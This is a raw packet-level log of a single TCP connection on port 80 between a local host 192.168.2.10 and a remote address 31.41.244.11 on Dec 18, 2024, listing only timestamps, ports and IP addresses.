Dec 18, 2024 15:56:16.137105942 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.137310982 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.137432098 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.137502909 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.137809992 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.138160944 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.138389111 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.138444901 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.138505936 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.138950109 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.139003992 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.139050961 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.139101028 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.139707088 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.139837027 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.139870882 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.140436888 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.140496016 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.140547037 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.141247988 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.141279936 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.141294956 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.141314030 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.141880989 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.142055035 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.142106056 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.142620087 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.142709970 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.142780066 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.143320084 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.143358946 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.143425941 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.143837929 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.144047022 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.144100904 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.144248009 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.144293070 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.144800901 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.144850016 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.144900084 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.144953012 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.145508051 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.145554066 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.145555019 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.146434069 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.146482944 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.146605968 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.147124052 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.147172928 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.147207022 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.147247076 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.147711039 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.147804976 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.147833109 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.147845030 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.148452997 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.148567915 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.148611069 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.149132967 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.149259090 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.149305105 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.149904966 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.149949074 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.149981976 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.150619030 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.150665045 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.150702953 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.151352882 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.151395082 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.151433945 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.151472092 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.152069092 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.152117014 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.152162075 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.152791977 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.152952909 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.152991056 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.153508902 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.153548956 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.153664112 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.154242039 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.154285908 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.154438972 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.155029058 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.155061960 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.155072927 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.155093908 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.155785084 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.155828953 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.155832052 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.155870914 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.156438112 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.156485081 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.156507015 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.156542063 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.157183886 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.157224894 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.157283068 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.157898903 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.157942057 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.157990932 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.158627987 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.158672094 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.158771992 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.158809900 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.159432888 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.159501076 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.159552097 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.160069942 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.160437107 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.160484076 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.160835028 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.161011934 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.161051035 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.161809921 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.161850929 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.161861897 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.162477970 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.162516117 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.162580967 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.162642956 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.163012028 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.163085938 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.163134098 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.163765907 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.163834095 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.163897991 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.163933992 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.164475918 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.164525986 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.164671898 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.164865017 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.165169001 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.165219069 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.165255070 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.165297985 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.165988922 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.166034937 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.166124105 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.166332006 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.166645050 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.166743040 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.166800022 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.167407990 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.167465925 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.167469025 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.167510986 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.168104887 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.168150902 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.168186903 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.168231964 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.168855906 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.168911934 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.168981075 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.169224024 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.169562101 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.169605970 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.169702053 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.170301914 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.170352936 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.170391083 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.171078920 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.171124935 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.171183109 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.171752930 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.171792030 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.171852112 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.172306061 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.172487974 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.172534943 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.300777912 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.300847054 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.301023960 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.301035881 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.301048994 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.301086903 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.301115036 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.301676989 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.301731110 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.301858902 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.302464008 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.302469969 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.302505016 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.302511930 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.302551985 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.329420090 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.329534054 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.329648972 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.329801083 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.329916954 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.329969883 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.330548048 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.330594063 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.330595016 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.331329107 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.331378937 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.331540108 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.331688881 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.331736088 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.332190037 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.332276106 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.332325935 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.332947969 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.332993984 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.333062887 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.333666086 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.333709002 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.333794117 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.334398031 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.334450006 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.334522963 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.334570885 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.335117102 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.335258961 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.335306883 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.335825920 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.335963964 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.336013079 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.336536884 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.336581945 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.336807966 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.337280989 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.337333918 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.337397099 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.338042021 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.338136911 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.338156939 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.338198900 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.338745117 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.338815928 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.338860989 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.339472055 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.339575052 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.339618921 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.340256929 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.340316057 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.340356112 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.340934992 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.340976954 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.341110945 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.341686010 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.341726065 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.341779947 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.342432976 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.342480898 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.342516899 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.342555046 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.343149900 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.343206882 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.343251944 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.343852043 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.344027042 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.344068050 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.344584942 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.344738007 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.344829082 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.345318079 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.345371008 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.345457077 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.346062899 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.346111059 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.346312046 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.346771955 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.346818924 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.346906900 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.346949100 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.347498894 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.347630978 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.347681999 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.348211050 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.348310947 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.348373890 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.348949909 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.349000931 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.349061012 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.349674940 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.349733114 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.349756956 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.350517035 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.350573063 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.350667953 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.350729942 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.351125956 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.351326942 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.351373911 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.351845980 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.351890087 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.351942062 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.352622032 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.352686882 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.352735043 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.353327990 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.353370905 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.353420973 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.354202032 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.354247093 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.354310036 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.354999065 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.355046988 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.355361938 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.355411053 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.355818987 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.355870008 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.355918884 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.356395006 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.356406927 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.356453896 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.357028961 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.357074976 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.357105017 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.357738972 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.357784033 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.357897997 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.358544111 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.358591080 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.358629942 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.359306097 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.359358072 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.359359980 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.359407902 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.359926939 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.359993935 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.360037088 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.360595942 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.360760927 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.360812902 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.361360073 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.361409903 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.361605883 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.362286091 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.362330914 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.362510920 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.363054037 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.363102913 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.363154888 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.363200903 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.363811016 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.363904953 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.363955975 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.364362955 CET	80	49749	31.41.244.11	192.168.2.10
